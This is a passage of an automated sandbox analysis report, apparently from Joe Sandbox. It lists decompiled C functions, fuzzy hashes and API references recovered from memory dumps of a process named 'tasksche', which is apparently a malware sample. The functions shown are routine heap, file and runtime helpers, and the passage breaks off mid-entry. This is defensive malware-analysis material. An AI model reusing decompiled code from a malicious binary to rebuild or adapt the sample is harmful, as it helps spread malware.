API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction ID: d4505bb1f71f0a7630b1187c5dc073957316d7994076f763c5609016dbc7fb68
Opcode Fuzzy Hash: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction Fuzzy Hash: 1821F9705412146ADF209BA5C8817EF73A8AF09744F104067FD84E71C2E6BC9DC58799

Uniqueness

Uniqueness Score: -1.00%

Function 004071DF Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004071DF(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t17;
				void* _t20;
				intOrPtr _t21;
				intOrPtr _t30;
				intOrPtr _t33;
				void* _t35;
				void* _t43;
				intOrPtr _t45;

				_t28 = __edx;
				E0041A4DC(E004294DA, _t35);
				E00406760(_t35 - 0x1c, 0x40000);
				_t30 =  *((intOrPtr*)(_t35 - 0x1c));
				 *(_t35 - 4) =  *(_t35 - 4) & 0x00000000;
				_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), __edx, _t30,  *((intOrPtr*)(_t35 - 0x18))); // executed
				_t33 = _t17;
				if(_t33 != 0) {
					_push(_t20);
					_t21 =  *((intOrPtr*)(_t35 + 0xc));
					while(_t33 != 0xffffffff) {
						_t43 = 0 -  *((intOrPtr*)(_t35 + 0x10));
						if(_t43 >= 0 && (_t43 > 0 || _t33 >= _t21)) {
							_t33 = _t21;
						}
						E0040BAFE( *((intOrPtr*)(_t35 + 8)), _t28, _t35, _t30, _t33);
						_t45 =  *((intOrPtr*)(_t35 + 0x10));
						if(_t45 >= 0 && (_t45 > 0 || _t21 >= 0)) {
							_t21 = _t21 - _t33;
							asm("sbb dword [ebp+0x10], 0x0");
						}
						_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), _t28, _t30,  *((intOrPtr*)(_t35 - 0x18)));
						_t33 = _t17;
						if(_t33 != 0) {
							continue;
						}
						break;
					}
					_pop(_t20);
				}
				_t48 = _t30;
				if(_t30 != 0) {
					_push(_t30);
					_t17 = E0041A506(_t20, _t30, _t33, _t48);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t35 - 0xc));
				return _t17;
			}

APIs

__EH_prolog.LIBCMT ref: 004071E4

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction ID: 0e7476b061c64c38a033d28293548f621ad6c4fedd1d6d7b32e1dff298444af0
Opcode Fuzzy Hash: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction Fuzzy Hash: F611E336D04216A7CB21AE69D881BAF7774AB84724F00427FF910772C0C77CAD4186AE

Uniqueness

Uniqueness Score: -1.00%

Function 004155EF Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004155EF(void* __ebx, intOrPtr __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				void* _t39;
				intOrPtr _t61;
				void* _t63;

				_t59 = __edi;
				_t42 = __ebx;
				E0041A4DC(E004298B7, _t63);
				_push(__ecx);
				_t61 = __ecx;
				 *((intOrPtr*)(_t63 - 0x10)) = __ecx;
				 *(_t63 - 4) = 0xa;
				E004152CD(__ecx, 0);
				_t26 =  *((intOrPtr*)(__ecx + 0x4b34));
				_t66 = _t26;
				if(_t26 != 0) {
					_push(_t26); // executed
					E0041A506(__ebx, __edi, __ecx, _t66); // executed
				}
				E004111EB(_t61, _t63,  *((intOrPtr*)(_t61 + 0x14)));
				_push( *((intOrPtr*)(_t61 + 0x20)));
				E0041C89D(_t42, _t59, _t61, _t66); // executed
				_t45 =  *((intOrPtr*)(_t61 + 0x18));
				_t67 =  *((intOrPtr*)(_t61 + 0x18));
				if( *((intOrPtr*)(_t61 + 0x18)) != 0) {
					E00413DED(_t45, _t59, _t63, 3);
				}
				E004129EB(_t61 + 0xe6c4);
				E004129EB(_t61 + 0xe6b4);
				E004129EB(_t61 + 0xe6a4);
				 *(_t63 - 4) = 6;
				E00409756(_t61 + 0xe694);
				 *(_t63 - 4) = 5;
				E0040AB1E(_t61 + 0xe65c, _t67);
				E00411FFB(_t61 + 0xe35c);
				E0041252C(_t61 + 0x4b38);
				E004129EB(_t61 + 0x44);
				E004129EB(_t61 + 0x34);
				E004129EB(_t61 + 0x24);
				 *(_t63 - 4) =  *(_t63 - 4) | 0xffffffff;
				_t39 = E00409756(_t61 + 4);
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t39;
			}

APIs

__EH_prolog.LIBCMT ref: 004155F4

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFreeH_prologHeapLast___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 2675452811-0
Opcode ID: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction ID: af90cb06349abb904c7e908c808b67ca80216b7905dff4050bf1b7fec03d4104
Opcode Fuzzy Hash: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction Fuzzy Hash: DA117871210740DAC325FF76DA636DBB7B0AF24304F40091EA06B525D2EFB8BA44CA19

Uniqueness

Uniqueness Score: -1.00%

Function 00407150 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00407150(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t24;
				void* _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				void* _t38;
				intOrPtr _t39;
				void* _t41;

				_t44 = __eflags;
				E0041A4DC(E0042968C, _t41);
				_push(__ecx);
				_t39 = __ecx;
				_t25 = __ecx + 0x10;
				 *((intOrPtr*)(_t41 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				E0040B8E3(__ecx + 0x10, __eflags);
				 *(__ecx + 0x444c) =  *(__ecx + 0x444c) & 0;
				 *((intOrPtr*)(_t41 - 4)) = 0;
				_t35 =  *((intOrPtr*)(_t41 + 8));
				 *((intOrPtr*)(__ecx + 8)) = _t35;
				 *((short*)(__ecx + 0x445c)) = 0;
				 *((short*)(__ecx + 0x545e)) = 0;
				_t21 = E0041A89A(__ecx + 0x10, __edx, _t35, _t44, 0xe6e0, _t33, _t38, _t24);
				 *((intOrPtr*)(_t41 + 8)) = _t21;
				 *((char*)(_t41 - 4)) = 1;
				_t45 = _t21;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0041768A(_t21, __edx, _t35, _t45, _t25); // executed
				}
				 *((intOrPtr*)(_t39 + 0x4448)) = _t22;
				_t36 =  *((intOrPtr*)(_t35 + 0x7298));
				if(_t36 >= 8) {
					_t36 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x1c)) = _t36;
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t39;
			}

APIs

__EH_prolog.LIBCMT ref: 00407155

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041768A: __EH_prolog.LIBCMT ref: 0041768F

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction ID: 4fa22713ff1b1cd4263d7298948381a35fc14f9b7bb01a12f51cc5b8ed2a70ee
Opcode Fuzzy Hash: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction Fuzzy Hash: B401ADB2A107009AC7109FAAC44029AF7E9FF94310F00842FE459D3390D7B8A9408B59

Uniqueness

Uniqueness Score: -1.00%

Function 00408E03 Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E03(intOrPtr* __ecx, void* __edx) {
				void* _t19;
				void* _t23;
				void* _t34;
				void* _t38;

				E0041A4DC(E00429705, _t38);
				E0040117B(_t38 - 0x1c, __edx, __ecx);
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				 *((intOrPtr*)( *__ecx + 0xc))();
				_t19 =  *((intOrPtr*)( *__ecx + 0x10))();
				 *(_t38 - 4) =  *(_t38 - 4) | 0xffffffff;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t38 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t38 - 0x14)),  *((intOrPtr*)(_t38 - 0x10)), 0, 0, 0, 2, _t34, _t23);
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t19;
			}

0x00408e08
0x00408e18
0x00408e1f
0x00408e2b
0x00408e32
0x00408e38
0x00408e4a
0x00408e56
0x00408e5e

APIs

__EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction ID: bd93042bfc1aad2116d0877f42dabf9818625296a81febac24436190ec2c14aa
Opcode Fuzzy Hash: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction Fuzzy Hash: 33F04F35B00214AFD7149F58C889FADB7B5EF48724F208159E912A73D1CB749D008A54

Uniqueness

Uniqueness Score: -1.00%

Function 00408A32 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00408A32(void* __ecx) {
				void* _t9;
				int _t12;
				void* _t13;
				void* _t19;

				_t19 = __ecx;
				_t9 =  *(__ecx + 4);
				_t13 = 1;
				if(_t9 != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t12 = FindCloseChangeNotification(_t9); // executed
						asm("sbb bl, bl");
						_t13 =  ~(_t12 - 1) + 1;
					}
					 *(_t19 + 4) =  *(_t19 + 4) | 0xffffffff;
				}
				 *(_t19 + 0xc) =  *(_t19 + 0xc) & 0x00000000;
				if(_t13 == 0 &&  *((intOrPtr*)(_t19 + 0x14)) != _t13) {
					E004063E1(0x4335ac, _t19 + 0x1e);
				}
				return _t13;
			}

0x00408a34
0x00408a36
0x00408a39
0x00408a3e
0x00408a44
0x00408a4d
0x00408a58
0x00408a5a
0x00408a5a
0x00408a5c
0x00408a5c
0x00408a60
0x00408a66
0x00408a76
0x00408a76
0x00408a7f

APIs

FindCloseChangeNotification.KERNELBASE(?,76EFF370,00000000,0040868D,?,?,?,?,00407427,?,00000000,?,00000800,?,?,?), ref: 00408A4D

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction ID: ad6283f58ebf58fc73997c28fab75cfea7daa8eae0e70c9973603df5d86841c1
Opcode Fuzzy Hash: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction Fuzzy Hash: 55F027706427044FD73056384A4879333D85B16331F049B2FD8E2A3BC0CB7898894E64

Uniqueness

Uniqueness Score: -1.00%

Function 00405512 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00405512(void* __ebx, intOrPtr __ecx, void* __edi, void* __eflags) {
				void* _t38;

				E0041A4DC(E004295E1, _t38);
				_push(__ecx);
				 *((intOrPtr*)(_t38 - 0x10)) = __ecx;
				E0040A026(__ecx, __edi); // executed
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				E00410D8E(__ecx + 0x92d4);
				 *(_t38 - 4) = 1;
				E00410D8E(__ecx + 0x9330);
				 *(_t38 - 4) = 2;
				E00410D8E(__ecx + 0x938c);
				 *(_t38 - 4) = 3;
				E00410D8E(__ecx + 0x93e8);
				 *(_t38 - 4) = 4;
				E00410D8E(__ecx + 0x9444);
				 *(_t38 - 4) = 5;
				E00405394(__ebx, __ecx, __edi,  *(_t38 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return __ecx;
			}

0x00405517
0x0040551c
0x00405520
0x00405523
0x00405528
0x00405532
0x0040553d
0x00405541
0x0040554c
0x00405550
0x0040555b
0x0040555f
0x0040556a
0x0040556e
0x00405575
0x00405579
0x00405584
0x0040558c

APIs

__EH_prolog.LIBCMT ref: 00405517

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction ID: fa77f21fc7194b1e08a14eb3a2c561e3cb85337c9bb77c22dcaa42305da5d14c
Opcode Fuzzy Hash: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction Fuzzy Hash: A2013130901694DAD715EBA5D1157DDB7B49F14308F00449FE456532C3DFF82B84CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004096BC Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004096BC(intOrPtr __edx, WCHAR* _a4, intOrPtr _a8) {
				void* _t11;
				intOrPtr _t21;

				_t21 = _a8;
				 *((char*)(_t21 + 0x1044)) = 0;
				if(E0040A0A4(_a4) == 0) {
					_t11 = E00409476(__edx, 0xffffffff, _a4, _t21); // executed
					if(_t11 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t11); // executed
					 *(_t21 + 0x1040) =  *(_t21 + 0x1040) & 0x00000000;
					 *((char*)(_t21 + 0x100c)) = E0040901C( *((intOrPtr*)(_t21 + 0x1008)));
					 *((char*)(_t21 + 0x100d)) = E00409034( *((intOrPtr*)(_t21 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x004096bd
0x004096c5
0x004096d3
0x004096e0
0x004096e8
0x00000000
0x00000000
0x004096ec
0x004096f2
0x00409708
0x00409713
0x00000000
0x0040971b
0x004096d5
0x00000000

APIs

Part of subcall function 0040A0A4: _wcspbrk.LIBCMT ref: 0040A0B5

FindClose.KERNELBASE(00000000,00000800,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004096EC

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseFind_wcspbrk
String ID:
API String ID: 2190230203-0
Opcode ID: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction ID: c5db38677187ea9b8dec244fb3c8af9ff7d0a6647eff614e001a313c4cd0766c
Opcode Fuzzy Hash: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction Fuzzy Hash: 21F09635005380ABCA225B658404AC77B945F55365F048A1EB1F9621D7C279545ADB26

Uniqueness

Uniqueness Score: -1.00%

Function 00407074 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00407074(intOrPtr __ecx) {
				void* __edi;
				void* __esi;
				void* _t11;
				void* _t14;
				intOrPtr _t21;
				intOrPtr _t24;
				void* _t26;

				E0041A4DC(E0042966D, _t26);
				_push(__ecx);
				_t24 = __ecx;
				 *((intOrPtr*)(_t26 - 0x10)) = __ecx;
				_t21 =  *((intOrPtr*)(__ecx + 0x4448));
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t29 = _t21;
				if(_t21 != 0) {
					E004155EF(_t14, _t21, _t21); // executed
					E0041A4FB(_t14, _t21, __ecx, _t29, _t21); // executed
				}
				_t5 = _t26 - 4;
				 *(_t26 - 4) =  *(_t26 - 4) | 0xffffffff;
				_t11 = E00401001(_t24 + 0x10,  *_t5);
				 *[fs:0x0] =  *((intOrPtr*)(_t26 - 0xc));
				return _t11;
			}

0x00407079
0x0040707e
0x00407080
0x00407083
0x00407086
0x0040708c
0x00407090
0x00407092
0x00407096
0x0040709c
0x004070a1
0x004070a2
0x004070a2
0x004070a9
0x004070b3
0x004070bb

APIs

__EH_prolog.LIBCMT ref: 00407079

Part of subcall function 004155EF: __EH_prolog.LIBCMT ref: 004155F4

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction ID: da238740c98ae75ebc3f5927faf798116ad114c2e9bc9b884e51ec1b39bdab83
Opcode Fuzzy Hash: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction Fuzzy Hash: D1E06D32A11610ABC715AB29C4066EEF3B9EFC0728F10422FA062636C1DBB86D418659

Uniqueness

Uniqueness Score: -1.00%

Function 00410DDE Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00410DDE() {
				void* _t2;

				L00411982(); // executed
				_t2 = E0041197C();
				if(_t2 != 0) {
					_t2 = E00406371(0x4335ac, 0xff);
				}
				if( *0x4335b7 != 0) {
					_t2 = E00406371(0x4335ac, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x00410de0
0x00410de5
0x00410df6
0x00410dfb
0x00410dfb
0x00410e07
0x00410e0c
0x00410e0c
0x00410e13
0x00410e1b

APIs

SetThreadExecutionState.KERNEL32 ref: 00410E13

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 99114e7ac6e4293e68323f01352a3d081b9a398302f12d6f006bb62c0eb9cb63
Instruction ID: ce8ef4de1523c5d0242b00cb845f3d850d1a93a8e5a83f46045a12d46b5ed054
Opcode Fuzzy Hash: 99114e7ac6e4293e68323f01352a3d081b9a398302f12d6f006bb62c0eb9cb63
Instruction Fuzzy Hash: 62D0C23170015022CA213B2B2815BEE56194F81724F0900BFB501622E38EAC09C281EE

Uniqueness

Uniqueness Score: -1.00%

Function 00409720 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409720(void* __ebx, void* __ecx, char _a4) {
				void* __edi;
				intOrPtr _t7;
				void* _t11;
				void* _t12;
				void* _t15;

				_t18 = _a4;
				_t15 = __ecx;
				 *((char*)(__ecx + 8)) = 0;
				if(_a4 == 0) {
					_t4 = __ecx + 0xc;
					 *_t4 =  *(__ecx + 0xc) & 0x00000000;
					__eflags =  *_t4;
				} else {
					_t7 = E0041A0EA(__ebx, _t11, 0x8003, _t18, 0x8003, _t12); // executed
					 *((intOrPtr*)(_t15 + 0xc)) = _t7;
					E0041A820(0x8003, _t7, 0, 0x8003);
				}
				return _t15;
			}

0x00409720
0x00409726
0x00409728
0x0040972c
0x0040974c
0x0040974c
0x0040974c
0x0040972e
0x00409735
0x0040973e
0x00409741
0x00409749
0x00409753

APIs

_memset.LIBCMT ref: 00409741

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction ID: 57c48ace6bef99692c10c7cc37c4410ce12e8001caaa4568d5ee7d388360cf58
Opcode Fuzzy Hash: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction Fuzzy Hash: D7E0CD729053406AD371751D9C04F579AD85B95725F14C82FB089A32C3C1BC5C51C759

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDF7 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EDF7(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44f848 = _t6;
				if(_t6 != 0) {
					 *0x451420 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0041ee0c
0x0041ee12
0x0041ee19
0x0041ee20
0x0041ee26
0x0041ee1c
0x0041ee1c
0x0041ee1c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041EE0C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction ID: eb53d8fa6b9c670d76401f9b6e634384cdf5b6bc28e7f080834842f41bea832e
Opcode Fuzzy Hash: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction Fuzzy Hash: E6D05E366503485ADB106F716C09B763BDCD384396F104436BC1DC6150F775C5A09A48

Uniqueness

Uniqueness Score: -1.00%

Function 00408C5A Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408C5A(void* __ecx) {
				void* _t2;
				long _t3;

				_t2 =  *(__ecx + 4);
				if(_t2 != 0xffffffff) {
					_t3 = GetFileType(_t2); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x00408c5a
0x00408c60
0x00408c66
0x00408c6f
0x00408c7c
0x00408c76
0x00408c78
0x00408c78
0x00408c62
0x00408c64
0x00408c64

APIs

GetFileType.KERNELBASE(?,00408CDA,?,00408EB0,?,00000000,?,?,00000000), ref: 00408C66

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
